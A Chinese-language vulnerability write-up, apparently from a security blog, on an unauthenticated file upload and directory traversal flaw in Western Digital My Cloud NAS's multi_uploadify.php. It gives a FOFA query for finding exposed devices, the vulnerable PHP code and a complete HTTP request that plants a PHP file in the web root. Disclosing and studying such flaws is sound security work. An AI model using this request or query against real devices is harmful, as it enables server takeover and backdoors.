Western Digital My Cloud NAS multi_uploadify.php 文件上传漏洞


漏洞简介

Western Digital My Cloud NAS是美国西部数据(Western Digital)公司的一款应用广泛的网络连接云存储设备,可用于托管文件,并自动备份和同步该文件与各种云和基于Web的服务。Western Digital My Cloud NAS multi_uploadify.php 接口存在任意文件上传漏洞,允许未经身份验证的攻击者上传恶意代码,植入后门,获取服务器权限,并控制整个 Web 服务器。

影响版本

<=2.11.153(老版本,已发布修复补丁)

fofa语法

icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"

漏洞分析

直接看 /jquery/uploader/multi_uploadify.php 关键业务逻辑的实现

$ip = gethostbyaddr($_SERVER['HTTP_HOST']);
$name = $_REQUEST['name'];
$pwd = $_REQUEST['pwd'];
$redirect_uri =  $_REQUEST['redirect_uri'];

//echo $name ."<br>".$pwd."<br>".$ip;

$result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?cmd=1&name=".$name."=&pwd=".$pwd ),"" ));

$result_1 = strstr($result,"<auth_status>0</auth_status>");
$result_1 = substr ($result_1, 0,28);

if (strncmp ($result_1,"<auth_status>0</auth_status>",28) == 0 )
//if (strstr($result,"<auth_status>0</auth_status>")== 0 )
{
        header("HTTP/1.1 302 Found");
  header("Location: ".$redirect_uri."?status=0");
  exit();
}

if (!empty($_FILES)) {

                $targetPath =  $_REQUEST['folder'] . '/';
                $count = (count($_FILES["Filedata"])-2);

                for ( $I=0; $I < $count; $I++ )
                {
                        $tempFile = $_FILES['Filedata']['tmp_name'][$I];

                        if ($tempFile == "")
                        {
                                        continue;
                        }
                        $new_file_name =  str_replace('\\','',$_FILES['Filedata']['name'][$I]);  //amy++
                        $targetFile =  str_replace('//','/',$targetPath) . $new_file_name;

                        $status = move_uploaded_file($tempFile,$targetFile);

特别需要注意的是

该上传逻辑错误地通过计算$_FILES['Filedata']的键数量(而非实际文件数)确定循环次数,且因未使用Filedata[]数组形式字段名导致多文件解析失效,结合未校验的folder参数,形成目录遍历+任意文件上传漏洞,允许攻击者可控文件路径及内容。

漏洞复现

POST /web/jquery/uploader/multi_uploadify.php?folder=/var/www/ HTTP/1.1
Host: western.digital.nas.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="Filedata[]"; filename="1.php"
Content-Type: application/octet-stream

<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundary--

访问上传文件 1.php ,成功执行上传代码。


手机扫码阅读

用友NC loadDoc.ajax 文件读取漏洞

Western Digital My Cloud NAS chk_vv_sharename.php 命令执行漏洞

评 论